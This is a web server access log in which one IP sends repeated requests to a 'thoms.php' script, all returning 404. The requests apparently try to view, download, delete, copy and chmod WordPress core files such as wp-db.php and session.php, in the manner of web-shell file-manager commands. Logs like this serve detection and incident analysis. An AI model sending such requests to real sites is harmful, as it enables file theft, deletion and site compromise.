45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?dl=functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:59 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?del=wp-db.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?chmod=class-phpass.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?chmod=utf8.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fview-config.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fview-config.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-default-filters.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fms-default-filters.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?dl=class-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:00 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?dl=media.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-patterns.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblock-patterns.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?dl=l10n.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?dl=ms-blogs.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?dl=theme-previews.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?del=block-template-utils.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fsession.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fsession.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?dl=shortcodes.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?del=class-feed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:01 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftheme.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?dl=wp-db.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fversion.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fversion.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:02 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?del=fonts&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?del=abilities.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?dl=theme-i18n.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?del=class-wp-network.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?chmod=js&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?dl=category.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?del=fonts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:03 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
